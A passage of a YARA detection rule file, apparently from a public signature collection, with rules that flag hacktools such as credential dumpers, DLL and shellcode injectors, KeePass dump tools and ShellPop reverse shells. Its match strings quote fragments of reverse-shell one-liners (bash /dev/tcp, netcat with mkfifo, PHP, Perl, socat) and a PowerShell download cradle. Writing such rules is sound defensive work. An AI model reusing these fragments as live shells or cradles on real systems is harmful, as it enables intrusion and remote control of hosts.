		id = "3f4ab5d7-5a9f-55f0-9dda-e2975df582a0"

	strings:
		$s1 = "[*] '%s' service already started" fullword wide
		$s2 = "** Security Callback! **" fullword wide
		$s3 = "Try to export a software CA to a crypto (virtual)hardware" fullword wide
		$s4 = "enterpriseadmin" fullword wide
		$s5 = "Ask debug privilege" fullword wide
		$s6 = "Injected =)" fullword wide
		$s7 = "** SAM ACCOUNT **" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 12000KB and 1 of them )
}

rule Disclosed_0day_POCs_lpe
{
	meta:
		description = "Detects POC code from disclosed 0day hacktool set"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed 0day Repos"
		date = "2017-07-07"
		hash1 = "e10ee278f4c86d6ee1bd93a7ed71d4d59c0279381b00eb6153aedfb3a679c0b5"
		hash2 = "a5916cefa0f50622a30c800e7f21df481d7a3e1e12083fef734296a22714d088"
		hash3 = "5b701a5b5bbef7027711071cef2755e57984bfdff569fe99efec14a552d8ee43"
		id = "d3693d1d-6085-5e62-8f0b-dde5b14758b7"

	strings:
		$x1 = "msiexec /f c:\\users\\%username%\\downloads\\" ascii
		$x2 = "c:\\users\\%username%\\downloads\\bat.bat" fullword ascii
		$x3 = "\\payload.msi /quiet" ascii
		$x4 = "\\payload2\\WindowsTrustedRTProxy.sys" wide
		$x5 = "\\payload2" wide
		$x6 = "\\payload" wide
		$x7 = "WindowsTrustedRTProxy.sys /grant:r administrators:RX" ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 70KB and 1 of them )
}

rule Disclosed_0day_POCs_exploit
{
	meta:
		description = "Detects POC code from disclosed 0day hacktool set"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed 0day Repos"
		date = "2017-07-07"
		hash1 = "632d35a0bac27c9b2f3f485d43ebba818089cf72b3b8c4d2e87ce735b2e67d7e"
		id = "72b8aafd-d79a-5812-90fd-5d5aca109254"

	strings:
		$x1 = "\\Release\\exploit.pdb" ascii
		$x2 = "\\favorites\\stolendata.txt" wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and 1 of them )
}

rule Disclosed_0day_POCs_InjectDll
{
	meta:
		description = "Detects POC code from disclosed 0day hacktool set"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed 0day Repos"
		date = "2017-07-07"
		modified = "2022-12-21"
		hash1 = "173d3f78c9269f44d069afbd04a692f5ae42d5fdc9f44f074599ec91e8a29aa2"
		id = "90a4dca0-4f12-5946-9d5d-0b93bb5a3c5d"

	strings:
		$x1 = "\\Release\\InjectDll.pdb" ascii
		$x2 = "Specify -l to list all IE processes running in the current session" fullword ascii
		$x3 = "Usage: InjectDll -l|pid PathToDll" fullword ascii
		$x4 = "Injecting DLL: %ls into PID: %d" fullword ascii
		$x5 = "Error adjusting privilege %d" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 300KB and 1 of them )
}

rule Disclosed_0day_POCs_payload_MSI
{
	meta:
		description = "Detects POC code from disclosed 0day hacktool set"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed 0day Repos"
		date = "2017-07-07"
		modified = "2022-12-21"
		hash1 = "a7c498a95850e186b7749a96004a98598f45faac2de9b93354ac93e627508a87"
		id = "fe32af56-d5a1-5246-a7df-395b9cd02faf"

	strings:
		$s1 = "WShell32.dll" fullword wide
		$s2 = "Target empty, so account name translation begins on the local system." fullword wide
		$s3 = "\\custact\\x86\\AICustAct.pdb" ascii

	condition:
		( uint16( 0 ) == 0xcfd0 and filesize < 1000KB and all of them )
}

rule Disclosed_0day_POCs_injector
{
	meta:
		description = "Detects POC code from disclosed 0day hacktool set"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed 0day Repos"
		date = "2017-07-07"
		hash1 = "ba0e2119b2a6bad612e86662b643a404426a07444d476472a71452b7e9f94041"
		id = "6de89a84-fe16-5064-8cbb-a3b9003f4c0c"

	strings:
		$x1 = "\\Release\\injector.pdb" ascii
		$x2 = "Cannot write the shellcode in the process memory, error: " fullword ascii
		$x3 = "/s shellcode_file PID: shellcode injection." fullword ascii
		$x4 = "/d dll_file PID: dll injection via LoadLibrary()." fullword ascii
		$x5 = "/s shellcode_file PID" fullword ascii
		$x6 = "Shellcode copied in memory: OK" fullword ascii
		$x7 = "Usage of the injector. " fullword ascii
		$x8 = "KO: cannot obtain the SeDebug privilege." fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 90KB and 1 of them ) or 3 of them
}

rule Disclosed_0day_POCs_lpe_2
{
	meta:
		description = "Detects POC code from disclosed 0day hacktool set"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed 0day Repos"
		date = "2017-07-07"
		hash1 = "b4f3787a19b71c47bc4357a5a77ffb456e2f71fd858079d93e694a6a79f66533"
		id = "9326bbae-81ee-588e-8581-628b47d348f8"

	strings:
		$s1 = "\\cmd.exe\" /k wusa c:\\users\\" ascii
		$s2 = "D:\\gitpoc\\UAC\\src\\x64\\Release\\lpe.pdb" fullword ascii
		$s3 = "Folder Created: " fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 700KB and 2 of them )
}

rule Disclosed_0day_POCs_shellcodegenerator
{
	meta:
		description = "Detects POC code from disclosed 0day hacktool set"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed 0day Repos"
		date = "2017-07-07"
		hash1 = "55c4073bf8d38df7d392aebf9aed2304109d92229971ffac6e1c448986a87916"
		id = "49250cbe-7bbd-5462-9324-1a8f350386f3"

	strings:
		$x1 = "\\Release\\shellcodegenerator.pdb" ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 40KB and all of them )
}

rule SecurityXploded_Producer_String
{
	meta:
		description = "Detects hacktools by SecurityXploded"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://securityxploded.com/browser-password-dump.php"
		date = "2017-07-13"
		score = 60
		hash1 = "d57847db5458acabc87daee6f30173348ac5956eb25e6b845636e25f5a56ac59"
		id = "739c4ba1-5126-51cc-a2dd-cdac2737e29a"

	strings:
		$x1 = "http://securityxploded.com" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and all of them )
}

rule Kekeo_Hacktool
{
	meta:
		description = "Detects Kekeo Hacktool"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/gentilkiwi/kekeo/releases"
		date = "2017-07-21"
		hash1 = "ce92c0bcdf63347d84824a02b7a448cf49dd9f44db2d02722d01c72556a2b767"
		hash2 = "49d7fec5feff20b3b57b26faccd50bc05c71f1dddf5800eb4abaca14b83bba8c"
		id = "a4158da8-fc4d-5dc6-b44c-f5325b3bb8ca"

	strings:
		$x1 = "[ticket %u] session Key is NULL, maybe a TGT without enough rights when WCE dumped it." fullword wide
		$x2 = "ERROR kuhl_m_smb_time ; Invalid! Command: %02x - Status: %08x" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 2000KB and ( 1 of ( $x* ) ) )
}

rule AllTheThings
{
	meta:
		description = "Detects AllTheThings"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/subTee/AllTheThings"
		date = "2017-07-27"
		modified = "2022-12-21"
		hash1 = "5a0e9a9ce00d843ea95bd5333b6ab50cc5b1dbea648cc819cfe48482513ce842"
		id = "c3169ca7-3482-5d55-a1d9-6d1c01349922"

	strings:
		$x1 = "\\obj\\Debug\\AllTheThings.pdb" ascii
		$x2 = "AllTheThings.exe" fullword wide
		$x3 = "\\AllTheThings.dll" ascii
		$x4 = "Hello From Main...I Don't Do Anything" fullword wide
		$x5 = "I am a basic COM Object" fullword wide
		$x6 = "I shouldn't really execute either." fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 50KB and 1 of them )
}

rule Impacket_Keyword
{
	meta:
		description = "Detects Impacket Keyword in Executable"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-08-04"
		score = 60
		hash1 = "9388c78ea6a78dbea307470c94848ae2481481f593d878da7763e649eaab4068"
		hash2 = "2f6d95e0e15174cfe8e30aaa2c53c74fdd13f9231406b7103da1e099c08be409"
		id = "a92962e6-1b05-583b-8b06-f226bdea88e2"

	strings:
		$s1 = "impacket.smb(" ascii
		$s2 = "impacket.ntlm(" ascii
		$s3 = "impacket.nmb(" ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 14000KB and 1 of them )
}

rule PasswordsPro
{
	meta:
		description = "Auto-generated rule - file PasswordsPro.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "PasswordPro"
		date = "2017-08-27"
		hash1 = "5b3d6654e6d9dc49ee1136c0c8e8122cb0d284562447abfdc05dfe38c79f95bf"
		id = "c749f883-364e-5f65-9eb8-3dcd74495f7c"

	strings:
		$s1 = "No users marked for attack or all marked users already have passwords found!" fullword ascii
		$s2 = "%s\\PasswordsPro.ini.Dictionaries(%d)" fullword ascii
		$s3 = "Passwords processed since attack start:" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 2000KB and 1 of them )
}

import "pe"

rule PasswordPro_NTLM_DLL
{
	meta:
		description = "Auto-generated rule - file NTLM.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "PasswordPro"
		date = "2017-08-27"
		hash1 = "47d4755d31bb96147e6230d8ea1ecc3065da8e557e8176435ccbcaea16fe50de"
		id = "cc86b868-000f-56b1-91cd-4aa8caace1df"

	strings:
		$s1 = "NTLM.dll" fullword ascii
		$s2 = "Algorithm: NTLM" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 20KB and pe.exports ( "GetHash" ) and pe.exports ( "GetInfo" ) and ( all of them ) )
}

rule KeeThief_PS
{
	meta:
		description = "Detects component of KeeTheft - KeePass dump tool - file KeeThief.ps1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/HarmJ0y/KeeThief"
		date = "2017-08-29"
		hash1 = "a3b976279ded8e64b548c1d487212b46b03aaec02cb6e199ea620bd04b8de42f"
		id = "9a54e8d1-3cae-51e8-8da0-024ac25dc6d0"

	strings:
		$x1 = "$WMIProcess = Get-WmiObject win32_process -Filter \"ProcessID = $($KeePassProcess.ID)\"" fullword ascii
		$x2 = "if($KeePassProcess.FileVersion -match '^2\\.') {" fullword ascii

	condition:
		( uint16( 0 ) == 0x7223 and filesize < 1000KB and ( 1 of ( $x* ) ) )
}

rule KeeTheft_EXE
{
	meta:
		description = "Detects component of KeeTheft - KeePass dump tool - file KeeTheft.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/HarmJ0y/KeeThief"
		date = "2017-08-29"
		hash1 = "f06789c3e9fe93c165889799608e59dda6b10331b931601c2b5ae06ede41dc22"
		id = "65531239-c5fa-5285-8f44-2d858e211c9b"

	strings:
		$x1 = "Error: Could not create a thread for the shellcode" fullword wide
		$x2 = "Could not find address marker in shellcode" fullword wide
		$x3 = "GenerateDecryptionShellCode" fullword ascii
		$x4 = "KeePassLib.Keys.KcpPassword" fullword wide
		$x5 = "************ Found a CompositeKey! **********" fullword wide
		$x6 = "*** Interesting... there are multiple .NET runtimes loaded in KeePass" fullword wide
		$x7 = "GetKcpPasswordInfo" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and 2 of them )
}

rule KeeTheft_Out_Shellcode
{
	meta:
		description = "Detects component of KeeTheft - KeePass dump tool - file Out-Shellcode.ps1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/HarmJ0y/KeeThief"
		date = "2017-08-29"
		hash1 = "2afb1c8c82363a0ae43cad9d448dd20bb7d2762aa5ed3672cd8e14dee568e16b"
		id = "1263ad5d-5d50-50e6-ad78-9d5e4e16634b"

	strings:
		$x1 = "Write-Host \"Shellcode length: 0x$(($ShellcodeLength + 1).ToString('X4'))\"" fullword ascii
		$x2 = "$TextSectionInfo = @($MapContents | Where-Object { $_ -match '\\.text\\W+CODE' })[0]" fullword ascii

	condition:
		( filesize < 2KB and 1 of them )
}

rule Sharpire
{
	meta:
		description = "Auto-generated rule - file Sharpire.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/0xbadjuju/Sharpire"
		date = "2017-09-23"
		modified = "2022-12-21"
		hash1 = "327a1dc2876cd9d7f6a5b3777373087296fc809d466e42861adcf09986c6e587"
		id = "747f2798-4f93-5073-b358-969060a1c937"

	strings:
		$x1 = "\\obj\\Debug\\Sharpire.pdb" ascii
		$x2 = "[*] Upload of $fileName successful" fullword wide
		$s1 = "no shell command supplied" fullword wide
		$s2 = "/login/process.php" fullword wide
		$s3 = "invokeShellCommand" fullword ascii
		$s4 = "..Command execution completed." fullword wide
		$s5 = "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" fullword wide
		$s6 = "/admin/get.php" fullword wide
		$s7 = "[!] Error in stopping job: " fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 100KB and ( 1 of ( $x* ) and 3 of them ) )
}

rule Invoke_Metasploit
{
	meta:
		description = "Detects Invoke-Metasploit Payload"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/jaredhaight/Invoke-MetasploitPayload/blob/master/Invoke-MetasploitPayload.ps1"
		date = "2017-09-23"
		hash1 = "b36d3ca7073741c8a48c578edaa6d3b6a8c3c4413e961a83ad08ad128b843e0b"
		id = "40452884-df3f-5b49-ad10-05006cb115f2"

	strings:
		$s1 = "[*] Looks like we're 64bit, using regular powershell.exe" ascii wide
		$s2 = "[*] Kicking off download cradle in a new process"
		$s3 = "Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('''+$url+''');'"

	condition:
		( filesize < 20KB and 1 of them )
}

rule PowerShell_Mal_HackTool_Gen
{
	meta:
		description = "Detects PowerShell hack tool samples - generic PE loader"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-11-02"
		hash1 = "d442304ca839d75b34e30e49a8b9437b5ab60b74d85ba9005642632ce7038b32"
		id = "d1fc4594-d816-5d02-bff6-3f220477b555"

	strings:
		$x1 = "$PEBytes32 = 'TVqQAAMAAAAEAAAA" wide
		$x2 = "Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineWAddrTemp" fullword wide
		$x3 = "@($PEBytes64, $PEBytes32, \"Void\", 0, \"\", $ExeArgs)" fullword wide
		$x4 = "(Shellcode: LoadLibraryA.asm)" fullword wide

	condition:
		filesize < 8000KB and 1 of them
}

rule Sig_RemoteAdmin_1
{
	meta:
		description = "Detects strings from well-known APT malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-12-03"
		score = 45
		id = "da55084c-ec1f-5800-a614-189dce7b5820"

	strings:
		$ = "Radmin, Remote Administrator" wide
		$ = "Radmin 3.0" wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 3000KB and 1 of them
}

rule RemCom_RemoteCommandExecution
{
	meta:
		description = "Detects strings from RemCom tool"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/tezXZt"
		date = "2017-12-28"
		score = 50
		id = "90b4ce3c-a690-5b6e-95e8-7e5dc8270152"

	strings:
		$ = "\\\\.\\pipe\\%s%s%d"
		$ = "%s\\pipe\\%s%s%d%s"
		$ = "\\ADMIN$\\System32\\%s%s"

	condition:
		1 of them
}

rule Crackmapexec_EXE
{
	meta:
		description = "Detects CrackMapExec hack tool"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2018-04-06"
		score = 85
		hash1 = "371f104b7876b9080c519510879235f36edb6668097de475949b84ab72ee9a9a"
		id = "9fcfba98-7ba1-5810-99b7-62ad2b1aa4c0"

	strings:
		$s1 = "core.scripts.secretsdump(" ascii
		$s2 = "core.scripts.samrdump(" ascii
		$s3 = "core.uacdump(" ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 10000KB and 2 of them
}

import "pe"

rule SUSP_Imphash_PassRevealer_PY_EXE
{
	meta:
		description = "Detects an imphash used by password revealer and hack tools (some false positives with hardware driver installers)"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2018-04-06"
		modified = "2021-11-09"
		score = 40
		hash1 = "371f104b7876b9080c519510879235f36edb6668097de475949b84ab72ee9a9a"
		id = "9462dfc4-2feb-591d-ac0c-ba02f093c216"

	strings:
		$fp1 = "Assmann Electronic GmbH" ascii wide
		$fp2 = "Oculus VR" ascii wide
		$fp3 = "efm8load" ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 10000KB and pe.imphash ( ) == "ed61beebc8d019dd9bec823e2d694afd" and not 1 of ( $fp* )
}

rule MAL_Unknown_PWDumper_Apr18_3
{
	meta:
		description = "Detects sample from unknown sample set - IL origin"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2018-04-06"
		hash1 = "d435e7b6f040a186efeadb87dd6d9a14e038921dc8b8658026a90ae94b4c8b05"
		hash2 = "8c35c71838f34f7f7a40bf06e1d2e14d58d9106e6d4e6f6e9af732511a126276"
		id = "2431d562-dcd8-5d21-8406-7d2567b6eca9"

	strings:
		$s1 = "loaderx86.dll" fullword ascii
		$s2 = "tcpsvcs.exe" fullword wide
		$s3 = "%Program Files, Common FOLDER%" fullword wide
		$s4 = "%AllUsers, ApplicationData FOLDER%" fullword wide
		$s5 = "loaderx86" fullword ascii
		$s6 = "TNtDllHook$" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 3000KB and all of them
}

import "pe"

rule ProcessInjector_Gen : HIGHVOL
{
	meta:
		description = "Detects a process injection utility that can be used ofr good and bad purposes"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/cuckoosandbox/monitor/blob/master/bin/inject.c"
		date = "2018-04-23"
		score = 60
		hash1 = "456c1c25313ce2e2eedf24fdcd4d37048bcfff193f6848053cbb3b5e82cd527d"
		id = "9b0b6ac7-8432-5f93-b389-c2356ec75113"

	strings:
		$x1 = "Error injecting remote thread in process:" fullword ascii
		$s5 = "[-] Error getting access to process: %ld!" fullword ascii
		$s6 = "--process-name <name>  Process name to inject" fullword ascii
		$s12 = "No injection target has been provided!" fullword ascii
		$s17 = "[-] An app path is required when not injecting!" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 50KB and ( pe.imphash ( ) == "d27e0fa013d7ae41be12aaf221e41f9b" or 1 of them ) or 3 of them
}

rule Lazagne_PW_Dumper
{
	meta:
		description = "Detects Lazagne PW Dumper"
		author = "Markus Neis / Florian Roth"
		reference = "https://github.com/AlessandroZ/LaZagne/releases/"
		date = "2018-03-22"
		score = 70
		id = "1904029e-9336-5278-ae2e-4bc853316600"

	strings:
		$s1 = "Crypto.Hash" fullword ascii
		$s2 = "laZagne" fullword ascii
		$s3 = "impacket.winregistry" fullword ascii

	condition:
		3 of them
}

rule HKTL_shellpop_TCLsh
{
	meta:
		description = "Detects suspicious TCLsh popshell"
		author = "Tobias Michalski"
		reference = "https://github.com/0x00-0x00/ShellPop"
		date = "2018-05-18"
		hash1 = "9f49d76d70d14bbe639a3c16763d3b4bee92c622ecb1c351cb4ea4371561e133"
		id = "24f6b626-383e-54c9-abd4-bd67c37af937"

	strings:
		$s1 = "{ puts -nonewline $s \"shell>\";flush $s;gets $s c;set e \"exec $c\";if" ascii

	condition:
		filesize < 1KB and 1 of them
}

rule HKTL_shellpop_ruby
{
	meta:
		description = "Detects suspicious ruby shellpop"
		author = "Tobias Michalski"
		reference = "https://github.com/0x00-0x00/ShellPop"
		date = "2018-05-18"
		hash1 = "6b425b37f3520fd8c778928cc160134a293db0ce6d691e56a27894354b04f783"
		id = "cb3a93d5-02a1-5a49-b37e-3f9312b993ea"

	strings:
		$x1 = ");while(cmd=c.gets);IO.popen(cmd,'r'){" ascii

	condition:
		filesize < 1KB and all of them
}

rule HKTL_shellpop_awk
{
	meta:
		description = "Detects suspicious AWK Shellpop"
		author = "Tobias Michalski"
		reference = "https://github.com/0x00-0x00/ShellPop"
		date = "2018-05-18"
		hash1 = "7513a0a0ba786b0e22a9a7413491b4011f60af11253c596fa6857fb92a6736fc"
		id = "92d1e6dd-d758-5df2-b5e5-eb275964551d"

	strings:
		$s1 = "awk 'BEGIN {s = \"/inet/tcp/0/" ascii
		$s2 = "; while(42) " ascii

	condition:
		filesize < 1KB and 1 of them
}

rule HKTL_shellpop_Netcat_UDP
{
	meta:
		description = "Detects suspicious netcat popshell"
		author = "Tobias Michalski"
		reference = "https://github.com/0x00-0x00/ShellPop"
		date = "2018-05-18"
		hash1 = "d823ad91b315c25893ce8627af285bcf4e161f9bbf7c070ee2565545084e88be"
		id = "67aa53b6-00bc-5d2e-b6f3-37e9121cdd01"

	strings:
		$s1 = "mkfifo fifo ; nc.traditional -u" ascii
		$s2 = "< fifo | { bash -i; } > fifo" fullword ascii

	condition:
		filesize < 1KB and 1 of them
}

rule HKTL_shellpop_socat
{
	meta:
		description = "Detects suspicious socat popshell"
		author = "Tobias Michalski"
		reference = "https://github.com/0x00-0x00/ShellPop"
		date = "2018-05-18"
		hash1 = "267f69858a5490efb236628260b275ad4bbfeebf4a83fab8776e333ca706a6a0"
		id = "23c331ba-217c-5b17-b45e-d553eea76a56"

	strings:
		$s1 = "socat tcp-connect" ascii
		$s2 = ",pty,stderr,setsid,sigint,sane" ascii

	condition:
		filesize < 1KB and 2 of them
}

rule HKTL_shellpop_Perl
{
	meta:
		description = "Detects Shellpop Perl script"
		author = "Tobias Michalski"
		reference = "https://github.com/0x00-0x00/ShellPop"
		date = "2018-05-18"
		hash1 = "32c3e287969398a070adaad9b819ee9228174c9cb318d230331d33cda51314eb"
		id = "d597d213-a70b-5412-adde-791b4d498848"

	strings:
		$ = "perl -e 'use IO::Socket::INET;$|=1;my ($s,$r);" ascii
		$ = ";STDIN->fdopen(\\$c,r);$~->fdopen(\\$c,w);s" ascii

	condition:
		filesize < 2KB and 1 of them
}

rule HKTL_shellpop_Python
{
	meta:
		description = "Detects malicious python shell"
		author = "Tobias Michalski"
		reference = "https://github.com/0x00-0x00/ShellPop"
		date = "2018-05-18"
		hash1 = "aee1c9e45a1edb5e462522e266256f68313e2ff5956a55f0a84f33bc6baa980b"
		id = "62fe0ae9-422e-5021-8a67-e88ff4bd2cf3"

	strings:
		$ = "os.putenv('HISTFILE', '/dev/null');" ascii

	condition:
		filesize < 2KB and 1 of them
}

rule HKTL_shellpop_PHP_TCP
{
	meta:
		description = "Detects malicious PHP shell"
		author = "Tobias Michalski"
		reference = "https://github.com/0x00-0x00/ShellPop"
		date = "2018-05-18"
		hash1 = "0412e1ab9c672abecb3979a401f67d35a4a830c65f34bdee3f87e87d060f0290"
		id = "3bafc225-62e5-5183-84aa-9c3406b6c444"

	strings:
		$x1 = "php -r \"\\$sock=fsockopen" ascii
		$x2 = ";exec('/bin/sh -i <&3 >&3 2>&3');\"" ascii

	condition:
		filesize < 3KB and all of them
}

rule HKTL_shellpop_Powershell_TCP
{
	meta:
		description = "Detects malicious powershell"
		author = "Tobias Michalski"
		reference = "https://github.com/0x00-0x00/ShellPop"
		date = "2018-05-18"
		hash1 = "8328806700696ffe8cc37a0b81a67a6e9c86bb416364805b8aceaee5db17333f"
		id = "4f3a92db-f686-559a-9588-fb79f423c51f"

	strings:
		$ = "Something went wrong with execution of command on the target" ascii
		$ = ";[byte[]]$bytes = 0..65535|%{0};$sendbytes =" ascii

	condition:
		filesize < 3KB and 1 of them
}

rule SUSP_Powershell_ShellCommand_May18_1
{
	meta:
		description = "Detects a supcicious powershell commandline"
		author = "Tobias Michalski"
		reference = "https://github.com/0x00-0x00/ShellPop"
		date = "2018-05-18"
		hash1 = "8328806700696ffe8cc37a0b81a67a6e9c86bb416364805b8aceaee5db17333f"
		id = "efa81fd0-b764-5a1a-98a5-fc3135be220b"

	strings:
		$x1 = "powershell -nop -ep bypass -Command" ascii

	condition:
		filesize < 3KB and 1 of them
}

rule HKTL_shellpop_Telnet_TCP
{
	meta:
		description = "Detects malicious telnet shell"
		author = "Tobias Michalski"
		reference = "https://github.com/0x00-0x00/ShellPop"
		date = "2018-05-18"
		hash1 = "cf5232bae0364606361adafab32f19cf56764a9d3aef94890dda9f7fcd684a0e"
		id = "dbd5cc65-c6f1-54f3-813f-7a7f9bcca184"

	strings:
		$x1 = "if [ -e /tmp/f ]; then rm /tmp/f;" ascii
		$x2 = "0</tmp/f|/bin/bash 1>/tmp/f" fullword ascii

	condition:
		filesize < 3KB and 1 of them
}

rule SUSP_shellpop_Bash
{
	meta:
		description = "Detects susupicious bash command"
		author = "Tobias Michalski"
		reference = "https://github.com/0x00-0x00/ShellPop"
		date = "2018-05-18"
		hash1 = "36fad575a8bc459d0c2e3ad626e97d5cf4f5f8bedc56b3cc27dd2f7d88ed889b"
		id = "ea9c2491-8b25-5ba4-9968-22a45d6e6491"

	strings:
		$ = "/bin/bash -i >& /dev/tcp/" ascii

	condition:
		1 of them
}

rule HKTL_shellpop_netcat
{
	meta:
		description = "Detects suspcious netcat shellpop"
		author = "Tobias Michalski"
		reference = "https://github.com/0x00-0x00/ShellPop"
		date = "2018-05-18"
		hash1 = "98e3324f4c096bb1e5533114249a9e5c43c7913afa3070488b16d5b209e015ee"
		id = "cd55e912-b57b-5fce-98eb-5a0cd27a6e4d"

	strings:
		$s1 = "if [ -e /tmp/f ]; then rm /tmp/f;" ascii
		$s2 = "fi;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc" ascii
		$s4 = "mknod /tmp/f p && nc" ascii
		$s5 = "</tmp/f|/bin/bash 1>/tmp/f" ascii

	condition:
		filesize < 2KB and 1 of them
}

rule HKTL_beRootexe
{
	meta:
		description = "Detects beRoot.exe which checks common Windows missconfigurations"
		author = "yarGen Rule Generator"
		reference = "https://github.com/AlessandroZ/BeRoot/tree/master/Windows"
		date = "2018-07-25"
		hash1 = "865b3b8ec9d03d3475286c3030958d90fc72b21b0dca38e5bf8e236602136dd7"
		id = "b91c2e0b-2e47-5339-bf48-eaa8329ea63b"

	strings:
		$s1 = "checks.webclient.secretsdump(" ascii
		$s2 = "beroot.modules" fullword ascii
		$s3 = "beRoot.exe.manifest" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 18000KB and 1 of them )
}

rule HKTL_beRootexe_output
{
	meta:
		description = "Detects the output of beRoot.exe"
		author = "Tobias Michalski"
		reference = "https://github.com/AlessandroZ/BeRoot/tree/master/Windows"
		date = "2018-07-25"
		id = "dfd11915-443f-5ce9-b94a-bdcb0e62104e"

	strings:
		$s1 = "permissions: {'change_config'" fullword wide
		$s2 = "Full path: C:\\Windows\\system32\\msiexec.exe /V" fullword wide
		$s3 = "Full path: C:\\Windows\\system32\\svchost.exe -k DevicesFlow" fullword wide
		$s4 = "! BANG BANG !" fullword wide

	condition:
		filesize < 400KB and 3 of them
}

rule HKTL_EmbeddedPDF
{
	meta:
		description = "Detects Embedded PDFs which can start malicious content"
		author = "Tobias Michalski"
		reference = "https://twitter.com/infosecn1nja/status/1021399595899731968?s=12"
		date = "2018-07-25"
		id = "d4e2d878-fb75-54c5-9879-fe94102911d1"

	strings:
		$x1 = "/Type /Action\n /S /JavaScript\n /JS (this.exportDataObject({" fullword ascii
		$s1 = "(This PDF document embeds file" fullword ascii
		$s2 = "/Names << /EmbeddedFiles << /Names" fullword ascii
		$s3 = "/Type /EmbeddedFile" fullword ascii

	condition:
		uint16( 0 ) == 0x5025 and 2 of ( $s* ) and $x1
}

rule HTKL_BlackBone_DriverInjector
{
	meta:
